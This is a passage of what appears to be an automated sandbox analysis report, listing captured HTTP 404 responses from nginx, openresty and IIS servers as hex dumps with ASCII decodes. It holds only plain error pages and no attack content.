68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:50:43 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:52 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:50:53 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:58 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:50:58 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:02 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:03 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:05 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:07 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:51:09 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 